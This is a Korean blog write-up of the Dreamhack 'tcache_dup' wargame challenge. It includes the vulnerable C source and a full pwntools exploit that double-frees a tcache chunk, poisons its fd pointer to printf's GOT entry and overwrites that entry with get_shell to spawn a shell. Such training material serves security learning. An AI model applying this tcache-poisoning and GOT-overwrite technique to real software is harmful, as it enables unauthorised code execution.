system hacking
드림핵 tcache_dup 문제 풀이
24kg0ld
2024. 7. 22. 23:18
1. 문제 파일 다운, 환경 분석
$ chmod +x tcache_dup
로 실행 권한을 부여했다.
envrionment
Ubuntu 18.04
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Partial RELRO, Canary, NX가 적용되어 있음을 알 수 있다.
2. 코드 분석
// gcc -o tcache_dup tcache_dup.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char *ptr[10];
void alarm_handler() {
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int create(int cnt) {
int size;
if (cnt > 10) { //cnt가 10보다 크다면 함수 종료
return -1;
}
printf("Size: ");
scanf("%d", &size); //size 입력 받아서
ptr[cnt] = malloc(size); //size 크기의 공간 할당 후 ptr[cnt]에 주소 저장
if (!ptr[cnt]) {//ptr[cnt]가 NULL이라면 함수 종료
return -1;
}
printf("Data: ");
read(0, ptr[cnt], size); //ptr[cnt]에 최대 size만큼의 입력 받음
}
int delete() {
int idx;
printf("idx: ");
scanf("%d", &idx); //idx 입력 받아서
if (idx > 10) { //idx가 10보다 크면 함수 종료
return -1;
}
free(ptr[idx]); //ptr[idx] 할당 해제
}
void get_shell() {
system("/bin/sh"); //shell 실행
}
int main() {
int idx;
int cnt = 0;
initialize();
while (1) {
printf("1. Create\n");
printf("2. Delete\n");
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
create(cnt);
cnt++;
break;
case 2:
delete();
break;
default:
break;
}
}
return 0;
}
3. 취약점 분석
문제의 코드대로면 double free bug를 사용해야 될 것 같은데 tcache의 key 값을 바꿀 방법이 없다.
double free bug 보호기법이 적용되어 있는지 확인하기 위해서 일단 파일을 실행해 보았다.
$ ./tcache_dup
1. Create
2. Delete
> 1
Size: 400
Data: A
1. Create
2. Delete
> 2
idx: 0
1. Create
2. Delete
> 2
idx: 0
1. Create
2. Delete
>
문제에서 주어진 파일을 실행하고 같은 주소로 free를 2번 했는데 아무런 오류없이 free가 되는 것을 확인했다.
문제에서 주어진 라이브러리에서는 double free bug를 막는 코드가 없는 것 같다.
또, 보호기법에 PIE가 설정되지 않았기 때문에 got의 주소를 쉽게 찾을 수 있다.
쉘을 실행하는 함수인 get_shell의 주소도 바로 알아낼 수 있다(NO PIE)
정리해보면 double free bug를 이용하여 tcache에서 fd 값을 오염시켜서 fd가 특정 함수의 got를 가리키게 한 다음,
그 got 주소에 get_shell의 주소를 넣어주면 쉘을 실행할 수 있을 것 같다.
4. get_shell 주소 찾기
pwndbg> info func get_shell
All functions matching regular expression "get_shell":
Non-debugging symbols:
0x0000000000400ab0 get_shell
gdb를 활용하여 get_shell의 주소가 0x0000000000400ab0
임을 알아냈다.
5. 코드 작성
from pwn import *
p = remote('host3.dreamhack.games', 10018)
e = ELF('./tcache_dup')
context.arch = 'amd64'
def create(size, data):
p.sendlineafter(b'> ', str(1).encode())
p.sendlineafter(b': ', str(size).encode())
p.sendafter(b': ', data)
def delete(idx):
p.sendlineafter(b'> ', str(2).encode())
p.sendlineafter(b': ', str(idx).encode())
create(0x50, b'A') # heap에 0x50만큼 할당
delete(0) # tcache : chunk A
delete(0) # tcahce : chunk A -> chunk A
printf_got = e.got['printf'] # printf의 got 주소 구하기
create(0x50, p64(printf_got)) # tcache : chunk A -> printf@got (chunk A의 fd 값을 printf의 got 주소로 바꾸어주었다.)
create(0x50, b'B') # tcache : printf@got (재할당을 하여 tcache에 printf의 got 주소만 남게 하였다.)
get_shell = 0x0000000000400ab0
create(0x50, p64(get_shell)) # printf_got = get_shell (malloc으로 printf의 got에 get_shell 함수의 주소를 써주었다.)
p.interactive()
위의 코드로 익스플로잇에 성공했다.
prinf 함수 이외에도 코드 내에서 실행되어진 다양한 함수를 활용할 수 있다.